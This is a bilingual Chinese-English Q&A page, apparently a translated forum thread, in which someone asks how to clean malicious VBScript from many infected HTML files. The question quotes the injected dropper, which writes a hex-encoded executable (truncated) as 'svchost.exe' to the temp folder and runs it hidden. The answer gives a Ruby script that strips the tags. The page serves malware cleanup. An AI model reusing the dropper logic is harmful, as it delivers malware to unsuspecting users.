从html源代码中删除vbscript或停用vbscript [英] Remove vbscript or deactivate vbscript from html source code

问题描述

我的电脑上有很少的html文件，我从朋友那里借来的，不幸的是所有的文件都被感染了，它们都有恶意的vbscript代码插入源代码。我有100个文件，无法编辑所有文件的源代码。有没有一种方法可以删除恶意脚本并仍然可以获取数据？

I have few html files on my computer, that I borrowed from a friend, unfortunately all the files are infected, they all have malicious vbscript code inserted into the source. I have 100s of files and can't edit the source for all files. Is there a way I can remove the malicious script and still get the data?

编辑：以下是代码示例

<script language="VBScript"><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9000030000000400........................8CB03FA48CB03"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

可以在线上传吗？

Is it safe to upload it online?

推荐答案

有很多防病毒软件会检测到这种病毒并删除受感染的html文件。

There are lot of antivirus software that'll detect this virus and remove the infected html files.

您可以运行下面的ruby脚本会检测到坏的vbscript标签并将其删除。

You can ran the following ruby script which will detect that bad vbscript tag and remove it.

class VirusKiller
  VIRUS_REG = /<SCRIPT Language=VBScript>[\s\w\W\d.]*<\/SCRIPT>/

  def fix_html_virus(file)
     return if File.extname(file) != '.html'
     file_content = File.read(file) 
     clean_content = file_content.gsub(VIRUS_REG, '')
     File.open(file, "w") { |new_file| new_file << clean_content }
  end

  def transverse_files(base)
    Dir.foreach(base) do |file|
      begin
        next if file == '.' or file == '..'

        if File.file?(base+file)
          fix_html_virus base+file
        else
          transverse_files(base+file+'/')
        end
      rescue Exception => e
        puts e.message
      end
    end
  end

  def run(root_path)
    transverse_files root_path
  end
end

VirusKiller.new.run ARGV[0]

安装Ruby，在一些文件中复制这个脚本（让我们说说virus_killer.rb）。在cmd中浏览这个文件的位置（如果你在窗口中）并运行这个命令。

Install Ruby, copy this script in some file( lets say virus_killer.rb ). Browse to location on this file in cmd( if you are in window ) and run this command.

ruby virus_killer.rb /path/to/infected_folder/

这篇关于从html源代码中删除vbscript或停用vbscript的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！